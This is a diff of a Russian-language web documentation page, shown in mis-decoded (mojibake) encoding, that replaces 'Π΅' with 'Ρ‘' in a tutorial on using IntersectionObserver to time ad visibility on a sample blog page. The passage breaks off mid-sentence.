-<p>Боковая панСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° ссылок Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы прилоТСния. Ни ΠΎΠ΄Π½Π° ΠΈΠ· Π½ΠΈΡ… Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Вся боковая панСль Π½ΡƒΠΆΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ просто ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ прилоТСния ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Π±Π»ΠΎΠ³Ρƒ. Боковая панСль создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("aside")}}.</p>
+<p>Боковая панСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° ссылок Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы прилоТСния. Ни ΠΎΠ΄Π½Π° ΠΈΠ· Π½ΠΈΡ… Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Вся боковая панСль Π½ΡƒΠΆΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ просто ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒ внСшний Π²ΠΈΠ΄ прилоТСния ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Π±Π»ΠΎΠ³Ρƒ. Боковая панСль создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("aside")}}.</p>
<pre class="brush: css notranslate">aside {
grid-column: 1;
@@ -185,7 +185,7 @@ article h2 {
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅Ρ‰Π°Π΅ΠΌ_с_JavaScript">Π‘ΠΎΠ²ΠΌΠ΅Ρ‰Π°Π΅ΠΌ с JavaScript</h2>
-<p>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ JavaScript ΠΊΠΎΠ΄Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всё ΠΎΠΆΠΈΠ²ΠΈΡ‚. НачнСм с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ JavaScript ΠΊΠΎΠ΄Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всё ΠΎΠΆΠΈΠ²ΠΈΡ‚. Начнём с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
<pre class="brush: js notranslate">let contentBox;
@@ -243,7 +243,7 @@ function startup() {
<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "ΠΏΠΎΡ€ΠΎΠ³" (<code>threshold</code>) содСрТит массив со значСниями 0.0 ΠΈ 0.75; Π­Ρ‚ΠΎ заставит ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ элСмСнт становится ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈΠ· Π·ΠΎΠ½Ρ‹ пСрСкрытия (коэффициСнт пСрСкрытия 0.0) ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΡ€ΠΎΠ³ Π² 75% видимости Π² ΠΎΠ±ΠΎΠΈΡ… направлСниях (коэффициСнт пСрСкрытия 0.75).</p>
-<p>ΠΠ°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒ <code>adObserver</code> создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора <code>IntersectionObserver</code>. Π’ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ конструктора ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (<code>intersectionCallback</code>) ΠΈ Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
+<p>ΠΠ°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒ <code>adObserver</code> создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора <code>IntersectionObserver</code>. Π’ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ конструктора ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (<code>intersectionCallback</code>) ΠΈ Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
<p>ПослС этого ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>buildContents()</code>. Π•Ρ‘ ΠΌΡ‹ напишСм Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅. Ѐункция Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈ вставляСт Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ.</p>
@@ -280,7 +280,7 @@ function startup() {
<h3 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ_ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ_налоТСния">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ налоТСния</h3>
-<p>ΠŸΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠΌ event loop, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒΒ  {{domxref("IntersectionObserver")}} провСряСт, Π½Π΅ ΠΏΡ€ΠΎΡˆΠ΅Π» Π»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΈΠ· элСмСнтов-Ρ†Π΅Π»Π΅ΠΉ Ρ‡Π΅Ρ€Π΅Π· ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²Ρ‹Π΅ значСния Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ.Β  Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ список Ρ‚Π°ΠΊΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ собираСтся Π² ΠΎΠ΄ΠΈΠ½ список ΠΈ отправляСтся Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт списка - это {{domxref("IntersectionObserverEntry")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π’ нашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <code>intersectionCallback()</code> выглядит Ρ‚Π°ΠΊ:</p>
+<p>ΠŸΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠΌ event loop, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒΒ  {{domxref("IntersectionObserver")}} провСряСт, Π½Π΅ ΠΏΡ€ΠΎΡˆΡ‘Π» Π»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΈΠ· элСмСнтов-Ρ†Π΅Π»Π΅ΠΉ Ρ‡Π΅Ρ€Π΅Π· ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²Ρ‹Π΅ значСния Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ.Β  Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ список Ρ‚Π°ΠΊΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ собираСтся Π² ΠΎΠ΄ΠΈΠ½ список ΠΈ отправляСтся Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт списка - это {{domxref("IntersectionObserverEntry")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π’ нашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ <code>intersectionCallback()</code> выглядит Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">function intersectionCallback(entries) {
entries.forEach(function(entry) {
@@ -361,7 +361,7 @@ function startup() {
<dd>ΠžΠ±Ρ‰Π΅Π΅ врСмя видимости Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.</dd>
</dl>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этих Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("HTMLElement.dataset")}}. ЗначСния - строки, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² числа. ЀактичСски, JavaScript Π΄Π΅Π»Π°Π΅Ρ‚ это автоматичСски, Π½ΠΎ Π½Π°ΠΌ всё Ρ€Π°Π²Π½ΠΎ придСтся Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этих Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("HTMLElement.dataset")}}. ЗначСния - строки, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² числа. ЀактичСски, JavaScript Π΄Π΅Π»Π°Π΅Ρ‚ это автоматичСски, Π½ΠΎ Π½Π°ΠΌ всё Ρ€Π°Π²Π½ΠΎ придётся Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ.</p>
<p>Ѐункция начинаСтся с выяснСния Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΊΠΎΠ³Π΄Π° происходила послСдняя ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° видимости Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ (<code>adBox.dataset.lastViewStarted</code>). ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° создания Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("Performance.now", "performance.now()")}} <code>currentTime</code>.</p>
@@ -371,7 +371,7 @@ function startup() {
<h3 id="ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ_Ρ‚Π°ΠΉΠΌΠ΅Ρ€_Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹">ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ Ρ‚Π°ΠΉΠΌΠ΅Ρ€ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹</h3>
-<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ΠΌΡ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ видимости Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΌΠΈΠ½:сСк. Для этого ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>drawAdTimer</code> ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€:</p>
+<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ΠΌΡ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ видимости Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΌΠΈΠ½:сСк. Для этого ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>drawAdTimer</code> ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€:</p>
<pre class="brush: js notranslate">function drawAdTimer(adBox) {
let timerBox = adBox.querySelector(".timer");
@@ -411,11 +411,11 @@ function buildContents() {
<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ <code>loremIpsum</code> содСрТит тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΊΠ°ΠΊ Ρ‚Π΅Π»ΠΎ ΡΡ‚Π°Ρ‚ΡŒΠΈ. РазумССтся, Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΈΡ€Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π°Π±ΠΈΡ€Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈΠ· ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Но это Ρ‚Π΅ΠΌΠ° Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ, поэтому ΠΌΡ‹ пошли простым ΠΏΡƒΡ‚Ρ‘ΠΌ.</p>
-<p><code>buildContents()</code> создаёт страницу с ΠΏΡΡ‚ΡŒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡΠΌΠΈ. КаТдая нСчётная ΡΡ‚Π°Ρ‚ΡŒΡ содСрТит Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ.Β  Π‘Ρ‚Π°Ρ‚ΡŒΠΈ Π±ΡƒΠ΄ΡƒΡ‚ вставлСны Π² Π±Π»ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° {{HTMLElement("main")}}. послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>createArticle()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΏΠΎΠ·ΠΆΠ΅.</p>
+<p><code>buildContents()</code> создаёт страницу с ΠΏΡΡ‚ΡŒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡΠΌΠΈ. КаТдая нСчётная ΡΡ‚Π°Ρ‚ΡŒΡ содСрТит Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ.Β  Π‘Ρ‚Π°Ρ‚ΡŒΠΈ Π±ΡƒΠ΄ΡƒΡ‚ вставлСны Π² Π±Π»ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° {{HTMLElement("main")}}. послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>createArticle()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ ΠΏΠΎΠ·ΠΆΠ΅.</p>
-<p>Π Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>loadRandomAd()</code>. Π­Ρ‚Π° функция создаСт ΠΈ вставляСт Π±Π»ΠΎΠΊΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Как ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅, эта ΠΆΠ΅ функция ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ Ρ€Π΅ΠΊΠ»Π°ΠΌΡƒ. Но ΠΏΠΎΠΊΠ° Ρ‡Ρ‚ΠΎ просто Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Ρ€Π΅ΠΊΠ»Π°ΠΌΡƒ Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСкст.</p>
+<p>Π Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>loadRandomAd()</code>. Π­Ρ‚Π° функция создаёт ΠΈ вставляСт Π±Π»ΠΎΠΊΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Как ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅, эта ΠΆΠ΅ функция ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ Ρ€Π΅ΠΊΠ»Π°ΠΌΡƒ. Но ΠΏΠΎΠΊΠ° Ρ‡Ρ‚ΠΎ просто Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Ρ€Π΅ΠΊΠ»Π°ΠΌΡƒ Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСкст.</p>
-<h3 id="Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ_ΡΡ‚Π°Ρ‚ΡŒΡŽ">Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΡΡ‚Π°Ρ‚ΡŒΡŽ</h3>
+<h3 id="Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ_ΡΡ‚Π°Ρ‚ΡŒΡŽ">Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΡΡ‚Π°Ρ‚ΡŒΡŽ</h3>
<p>Для создания элСмСнта ΡΡ‚Π°Ρ‚ΡŒΠΈ {{HTMLElement("article")}} ΠΈ Π΅Ρ‘ содСрТимого ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>createArticle()</code>, которая Π² качСствС Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ строку-тСкст ΡΡ‚Π°Ρ‚ΡŒΠΈ.</p>
@@ -434,11 +434,11 @@ function buildContents() {
return articleElem;
}</pre>
-<p>Π‘ΠΏΠ΅Ρ€Π²Π°, элСмСнт <code>&lt;article&gt;</code> создаётся ΠΈ Π΅ΠΌΡƒ присваиваСтся ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ID <code>nextArticleID</code> (это просто счётчик ΠΎΡ‚ нуля Π΄ΠΎ бСсконСчности). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΠΈ добавляСм элСмСнт {{HTMLElement("h2")}} для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ примСняСм HTML ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>contents</code>. НаконСц, ΠΌΡ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>nextArticleID</code> (Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ID) ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ элСмСнт ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
+<p>Π‘ΠΏΠ΅Ρ€Π²Π°, элСмСнт <code>&lt;article&gt;</code> создаётся ΠΈ Π΅ΠΌΡƒ присваиваСтся ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ID <code>nextArticleID</code> (это просто счётчик ΠΎΡ‚ нуля Π΄ΠΎ бСсконСчности). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΠΈ добавляСм элСмСнт {{HTMLElement("h2")}} для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ примСняСм HTML ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>contents</code>. НаконСц, ΠΌΡ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>nextArticleID</code> (Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ID) ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ элСмСнт ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ_Π±Π»ΠΎΠΊΠ°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°</h3>
-<p>Ѐункция <code>loadRandomAd()</code> ΠΈΠΌΠΈΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ ΠΈ Π΅Ρ‘ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° страницу. Если Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>replaceBox</code>, создаСтся ΠΈ примСняСтся Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹. Если Π²Ρ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ <code>replaceBox</code>, этот ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ рассматриваСтся, ΠΊΠ°ΠΊ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт. ВмСсто создания Π½ΠΎΠ²ΠΎΠ³ΠΎ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт измСняСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π­Ρ‚ΠΎ 